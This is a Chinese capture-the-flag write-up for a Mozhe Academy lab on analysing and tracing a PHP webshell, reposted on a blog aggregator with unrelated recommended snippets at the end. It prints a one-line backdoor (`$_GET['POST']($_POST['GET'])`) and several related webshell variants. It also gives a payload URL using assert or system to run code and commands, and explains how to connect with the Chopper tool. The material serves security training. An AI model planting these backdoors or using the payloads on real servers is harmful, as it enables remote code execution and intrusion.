WebShell代码分析溯源(第1题)墨者学院
一、访问链接
二、下载系统源码后直接放到D盾里扫描,扫到后门文件
三、查看该木马文件
<?php error_reporting(0); $_GET['POST']($_POST['GET']);?>
1.error_reporting(0); 关闭错误报告
2.$_GET['POST']($_POST['GET']); 一句话木马,GET传入POST值,再将密码:GET以POST请求方式传到后台
因此构造payload:http://219.153.49.228:41996/www/cn-right.php?POST=assert,密码为GET 连接菜刀,字符编码:utf-8
PHP有很多危险的函数如:eval、system、assert等,那么我们可以使用这些危险的函数来达到后门的目的:
eval('phpinfo();'); //eval() 把字符串作为PHP代码执行 echo system('dir'); //执行外部程序,并且显示输出 assert('phpinfo();');// 如果参数是字符串,它将会被当做 PHP 代码来执行 assert(phpinfo()); //assert参数不加引号,也可以执行哦
好了,看到解题思路里都是用POST=assert,那为什么不用POST=eval呢?
再看一个例子:
$str='assert'; $str('phpinfo();'); //正常执行 $str='eval'; $str('phpinfo();'); //Fatal error: Call to undefined function eval() in D:phpStudyPHPTutorialWWW1.php on line 9 报错了 $str='system'; $str('cd'); //正常执行
可看到,eval并不支持可变变量形式,除了eval,还有echo、print、unset、isset、empty、include、require等语句,所以这里不能使用POST=eval形式,因为eval不支持可变变量形式。
也可以构造如POST=system。post里面为cmd/shell命令,如GET=dir。通过shell命令操作也可以得到key值,当前你要用eval,可以用shell命令生成一个一句话后门即可。
四、在/www/html找到KEY
WebShell代码分析溯源(第1题)墨者学院的更多相关文章
- WebShell代码分析溯源(第1题)
<?php $POST['POST']='assert';$array[]=$POST;$array[0]['POST']($_POST['assert']);?> assert,是php ...
- WebShell代码分析溯源(一)
WebShell代码分析溯源(一) 一.一句话变形马样本 <?php $_GET['POST']($_POST['GET']);?> 二.代码分析 1.调整代码格式 <?php $_ ...
- WebShell代码分析溯源(十一)
WebShell代码分析溯源(十一) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];declare(ticks=1);register_tick_function ( ...
- WebShell代码分析溯源(十)
WebShell代码分析溯源(十) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];register_shutdown_function($e, $_REQUEST[' ...
- WebShell代码分析溯源(九)
WebShell代码分析溯源(九) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];$arr = array($_POST['pass'] => '|.*|e', ...
- WebShell代码分析溯源(八)
WebShell代码分析溯源(八) 一.一句话变形马样本 <?php $e=$_REQUEST['e'];$arr= array('test', $_REQUEST['POST']);uasor ...
- WebShell代码分析溯源(七)
WebShell代码分析溯源(七) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];$arr = array($_POST['POST'],);array_map(ba ...
- WebShell代码分析溯源(六)
WebShell代码分析溯源 一.一句话变形马样本 <?php call_user_func('assert', $_REQUEST['assert']); ?> 二.代码分析 1.分析代 ...
- WebShell代码分析溯源(五)
WebShell代码分析溯源(五) 一.一句话变形马样本 <?php $e=$_REQUEST['e'];$arr=array($_POST['POST'],);array_filter($ar ...
随机推荐
- 【转】1.2 CDN的基本工作过程
1.2 CDN的基本工作过程 使用CDN会极大地简化网站的系统维护工作量,网站维护人员只需将网站内容注入CDN的系统,通过CDN部署在各个物理位置的服务器进行全网分发,就可以实现跨运营商.跨地域的用 ...
- Locust环境搭建及应用-hc课堂笔记
Locust环境搭建: 1,在命令窗口中,进入到python项目路径,如:d:\Pycharmproject\venv\Scripts 2,执行Scripts下的active.bat,进入到虚拟环境 ...
- oracle 查看用户所在的表空间
查看当前用户的缺省表空间 SQL>select username,default_tablespace from user_users; 查看当前用户的角色 SQL>select * fr ...
- 【转】Android Camera 相机开发详解
在Android 5.0(SDK 21)中,Google使用Camera2替代了Camera接口.Camera2在接口和架构上做了巨大的变动, 但是基于众所周知的原因,我们还必须基于 Android ...
- JAVA框架 Spring 和Mybatis整合(动态代理)
一.使用传统方式的dao的书写方式,不建议.目前采用的是动态代理的方式交给mybatis进行处理. 首先回顾下动态代理要求: 1)子配置文件的中,namespace需要是接口的全路径,id是接口的方法 ...
- P3195 [HNOI2008]玩具装箱TOY
列出DP方程式:设f[i]表示分组完前i件物品的最小花费,为方便计算,设sum[i]表示是前i件物品的长度和. f[i]=min(f[j]+(sum[i]-sum[j]+i-j-L-1)^2) [0& ...
- stm32_DMA采集一个AD数据_并通过DMA向串口发送
这是以前学32的时候写的,那时候学了32之后感觉32真是太强大了,比51强的没影.关于dma网上有许多的资料,关于dma采集ad网上也有很多.亲们搜搜,这里只贴代码了,其实我也想详详细细地叙述一番,但 ...
- docker 端口映射错误解决方法
今天搞了半天shipyard,在网页上打开时无法显示容器和镜像,最后发现是docker端口映射错误,由于防火墙未关闭: 4月 12 18:51:29 localhost firewalld[757]: ...
- 安装Docker的三种方式
本人在安装docker时之前一直采用的是系统自带的docker软件包安装,导致下载的docker不是最新版本,因此会有很多docker命令无法使用,例如network等等,现将安装docker的方式总 ...
- ISCSI target的两种安装方法
1 tgt程序架构 tgt是用户态实现的iscsi target,而iet(iscsi enterprise target)是在内核态实现的target,tgt相比于iet来说,因为其用户态实现,方便 ...